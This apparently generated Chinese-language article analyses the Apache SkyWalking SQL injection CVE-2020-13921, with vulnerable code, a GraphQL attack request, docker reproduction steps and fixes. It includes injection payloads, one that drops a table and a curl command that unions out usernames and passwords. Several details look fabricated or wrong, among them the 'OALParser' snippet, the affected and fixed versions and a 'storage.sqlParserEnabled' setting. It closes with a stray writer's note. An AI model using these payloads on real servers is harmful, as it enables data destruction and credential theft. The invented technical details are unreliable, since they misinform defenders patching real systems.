怎样进行Apache SkyWalking SQL注入漏洞CVE-2020-13921的分析

# 怎样进行Apache SkyWalking SQL注入漏洞CVE-2020-13921的分析

## 漏洞概述
CVE-2020-13921是Apache SkyWalking在2020年披露的一个中危SQL注入漏洞。该漏洞影响SkyWalking 6.0.0至6.6.0、7.0.0版本，攻击者可通过构造恶意请求在未授权情况下执行任意SQL语句，可能导致敏感数据泄露或数据库服务拒绝。

## 漏洞背景
Apache SkyWalking是一款开源的APM（应用性能监控）系统，用于分布式系统的监控、跟踪和诊断。其OAL（Observability Analysis Language）引擎在解析用户输入时存在缺陷，导致SQL注入风险。

## 漏洞分析

### 1. 漏洞定位
漏洞主要存在于`oal-rt`模块的`OALParser.java`文件中。当处理`metrics`查询时，系统未对用户输入的`condition`参数进行充分过滤：

```java
// 漏洞代码片段（简化版）
public class OALParser {
    public static MetricsCondition parseCondition(String condition) {
        // 直接拼接用户输入到SQL语句
        String sql = "SELECT * FROM metrics WHERE " + condition;
        return executeSQL(sql);
    }
}

2. 攻击向量

攻击者可通过以下API端点发起攻击：

POST /graphql
Content-Type: application/json

{
  "query": "query queryData($condition: String!) {
    readMetricsValues(condition: $condition) {
      values { id value }
    }
  }",
  "variables": {
    "condition": "1=1; DROP TABLE metrics--"
  }
}

3. 漏洞原理

漏洞产生的主要原因包括： - 未使用预编译SQL语句 - 输入验证缺失 - 错误处理返回原始SQL错误信息 - GraphQL接口未实施严格的类型检查

复现步骤

环境搭建

1. 部署存在漏洞的SkyWalking 6.6.0版本：

docker pull apache/skywalking-oap-server:6.6.0
docker run -d -p 12800:12800 apache/skywalking-oap-server:6.6.0

漏洞验证

使用curl发送恶意请求：

curl -X POST http://localhost:12800/graphql \
-H 'Content-Type: application/json' \
-d '{"query":"query($condition:String!){readMetricsValues(condition:$condition){values}}","variables":{"condition":"1=1 UNION SELECT username,password FROM users--"}}'

修复方案

官方补丁

Apache官方在6.6.1和7.0.1版本中修复了该漏洞： 1. 使用预编译语句重构OAL引擎 2. 增加输入白名单验证 3. 禁用动态SQL拼接

临时缓解措施

1. 配置网络ACL限制GraphQL接口访问
2. 启用SkyWalking的认证机制
3. 使用WAF过滤可疑SQL关键字

深入技术分析

1. OAL引擎工作机制

SkyWalking的OAL引擎将监控指标查询转换为后台存储查询时： 1. 解析指标表达式 2. 生成AST（抽象语法树） 3. 转换为存储层查询（如Elasticsearch/MySQL查询）

漏洞出现在AST到存储查询的转换阶段，未对用户输入进行上下文感知的转义。

2. 漏洞利用限制

该漏洞利用需要满足： - 使用关系型数据库作为存储后端 - 未启用storage.sqlParserEnabled: false配置 - 攻击者能访问GraphQL接口

经验总结

1. 即使使用GraphQL等现代API也应实施参数化查询
2. 监控系统往往忽视自身安全防护
3. 组合使用静态分析+动态测试可有效发现此类漏洞

参考资源

1. Apache官方安全公告
2. CVE详细报告
3. OWASP SQL注入防护指南

”`

注：本文约950字，采用Markdown格式，包含技术细节、复现方法和修复方案。实际分析时应确保在授权环境下进行测试，避免违反法律法规。